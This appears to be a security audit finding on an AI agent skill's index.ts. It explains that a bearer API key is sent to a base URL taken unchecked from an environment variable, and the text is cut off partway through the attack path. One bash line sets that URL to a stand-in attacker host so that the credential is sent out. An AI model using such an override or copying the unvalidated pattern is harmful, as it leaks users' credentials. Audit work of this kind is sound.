T09 · Insecure Skill Coding Practices
- Location
index.ts:44- Finding
Bearer Credential Exposure Through Unrestricted API Base URL Override
- Content
View full analysis
{ const apiKey = requireEnv('YOLLOMI_API_KEY') const baseUrl = process.env.YOLLOMI_BASE_URL || 'https://yollomi.com' if (params.imageUrl && !isHttpUrl(params.imageUrl)) { throw new Error("imageUrl must be an http(s) URL") } const timeoutMs = params.type === 'video' ? 300000 : 120000 const resp = await fetchWithTimeout( `${baseUrl}/api/v1/generate`, { method: 'POST', headers: { Authorization: `Bearer ${apiKey}`, 'Content-Type': 'application/json', }, body: JSON.stringify(params), }, timeoutMs ) ``` ### Technical Analysis Sending `YOLLOMI_API_KEY` to the official Yollomi API is necessary for the declared image and video generation functionality. However, the destination is taken directly from the `YOLLOMI_BASE_URL` environment variable without parsing or validating its protocol, hostname, port, path, or trust status. Consequently, the code will attach the bearer credential to any destination supplied through that variable. It also does not require HTTPS, so the credential and generation request can be sent over plaintext HTTP. The separate validation of `params.imageUrl` does not protect the API endpoint. This exceeds minimum privilege because the Skill only needs to disclose the credential to an approved Yollomi API origin, not to arbitrary environment-controlled hosts. ### Attack Path 1. An attacker, malicious deployment configuration, compromised launcher, or untrusted setup instruction sets: ```bash YOLLOMI_BASE_URL=https://attacker.example ``` Alternatively, a plaintext endpoint such as `http://attacker.example` can be used. 2. A user or agent invokes `yollomi.generate`. 3 ...[truncated 1017 chars]- Remediation
View remediation
